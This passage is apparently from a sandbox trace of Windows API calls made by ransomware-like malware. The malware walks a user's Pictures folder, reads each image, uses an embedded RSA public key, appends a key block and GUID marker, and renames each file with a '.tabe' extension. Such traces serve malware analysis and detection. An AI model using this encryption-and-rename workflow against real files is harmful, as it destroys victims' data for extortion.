lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.478] CloseHandle (hObject=0x618) returned 1 [0126.479] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\8nsDvVyTWic7d1G8VIn.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\8nsdvvytwic7d1g8vin.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\8nsDvVyTWic7d1G8VIn.bmp.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\8nsdvvytwic7d1g8vin.bmp.tabe")) returned 1 [0126.481] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5cab8600, ftCreationTime.dwHighDateTime=0x1d5de5c, ftLastAccessTime.dwLowDateTime=0x69f385e0, ftLastAccessTime.dwHighDateTime=0x1d5dae9, ftLastWriteTime.dwLowDateTime=0x69f385e0, ftLastWriteTime.dwHighDateTime=0x1d5dae9, nFileSizeHigh=0x0, nFileSizeLow=0xd79d, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="9-YC.jpg", cAlternateFileName="")) returned 1 [0126.481] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\9-YC.jpg") returned=".jpg" [0126.481] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\9-YC.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\9-yc.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.482] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=55197) returned 1 [0126.482] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.483] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xd777, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.483] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.484] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0xd79d, lpOverlapped=0x0) returned 1 [0126.485] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.485] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.485] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.485] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866ea0) returned 1 [0126.485] CryptCreateHash (in: hProv=0x866ea0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.485] CryptHashData (hHash=0x3463888, pbData=0x3ae70a8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.486] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.486] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.486] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.486] CryptReleaseContext (hProv=0x866ea0, dwFlags=0x0) returned 1 [0126.486] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.486] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.486] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.486] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7e10 [0126.486] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xd79d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.486] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.487] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.487] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.487] CloseHandle (hObject=0x618) returned 1 [0126.487] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\9-YC.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\9-yc.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\9-YC.jpg.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\9-yc.jpg.tabe")) returned 1 [0126.489] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45f13e50, ftCreationTime.dwHighDateTime=0x1d5da29, ftLastAccessTime.dwLowDateTime=0xd5ed4d40, ftLastAccessTime.dwHighDateTime=0x1d5d944, ftLastWriteTime.dwLowDateTime=0xd5ed4d40, ftLastWriteTime.dwHighDateTime=0x1d5d944, nFileSizeHigh=0x0, nFileSizeLow=0x717b, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="AM8YNwEaN3O3.gif", cAlternateFileName="AM8YNW~1.GIF")) returned 1 [0126.489] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\AM8YNwEaN3O3.gif") returned=".gif" [0126.489] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\AM8YNwEaN3O3.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\am8ynwean3o3.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.489] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=29051) returned 1 [0126.489] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.490] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x7155, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.490] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.491] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x717b, lpOverlapped=0x0) returned 1 [0126.493] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.493] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.493] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.493] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866ea0) returned 1 [0126.494] CryptCreateHash (in: hProv=0x866ea0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.494] CryptHashData (hHash=0x3463888, pbData=0x3ae70a8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.494] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.494] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.494] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.494] CryptReleaseContext (hProv=0x866ea0, dwFlags=0x0) returned 1 [0126.494] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.494] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.494] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.494] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7e10 [0126.495] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x717b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.495] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.495] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.495] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.495] CloseHandle (hObject=0x618) returned 1 [0126.496] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\AM8YNwEaN3O3.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\am8ynwean3o3.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\AM8YNwEaN3O3.gif.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\am8ynwean3o3.gif.tabe")) returned 1 [0126.497] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe0d9b50, ftCreationTime.dwHighDateTime=0x1d5d825, ftLastAccessTime.dwLowDateTime=0xb3e6d10, ftLastAccessTime.dwHighDateTime=0x1d5da5a, ftLastWriteTime.dwLowDateTime=0xb3e6d10, ftLastWriteTime.dwHighDateTime=0x1d5da5a, nFileSizeHigh=0x0, nFileSizeLow=0x9cbc, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="B3JAn7xGWGt3nrMquz.png", cAlternateFileName="B3JAN7~1.PNG")) returned 1 [0126.497] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\B3JAn7xGWGt3nrMquz.png") returned=".png" [0126.497] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\B3JAn7xGWGt3nrMquz.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\b3jan7xgwgt3nrmquz.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.498] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=40124) returned 1 [0126.498] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.499] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x9c96, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.499] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.500] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x9cbc, lpOverlapped=0x0) returned 1 [0126.501] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.501] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.501] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.501] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866bf8) returned 1 [0126.502] CryptCreateHash (in: hProv=0x866bf8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.502] CryptHashData (hHash=0x3463888, pbData=0x3ae70a8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.502] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.502] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.502] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.502] CryptReleaseContext (hProv=0x866bf8, dwFlags=0x0) returned 1 [0126.502] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.502] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.502] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.502] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7e10 [0126.502] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x9cbc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.502] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.503] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.503] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.503] CloseHandle (hObject=0x618) returned 1 [0126.503] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\B3JAn7xGWGt3nrMquz.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\b3jan7xgwgt3nrmquz.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\B3JAn7xGWGt3nrMquz.png.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\b3jan7xgwgt3nrmquz.png.tabe")) returned 1 [0126.505] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68cd0370, ftCreationTime.dwHighDateTime=0x1d5ddab, ftLastAccessTime.dwLowDateTime=0xc42eeb70, ftLastAccessTime.dwHighDateTime=0x1d5dc3e, ftLastWriteTime.dwLowDateTime=0xc42eeb70, ftLastWriteTime.dwHighDateTime=0x1d5dc3e, nFileSizeHigh=0x0, nFileSizeLow=0xfe9d, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="B5vop.bmp", cAlternateFileName="")) returned 1 [0126.505] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\B5vop.bmp") returned=".bmp" [0126.505] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\B5vop.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\b5vop.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.505] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=65181) returned 1 [0126.505] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.506] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xfe77, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.506] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.508] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0xfe9d, lpOverlapped=0x0) returned 1 [0126.509] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.509] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.509] lstrlenA (lpString="-----BEGIN PUBLIC 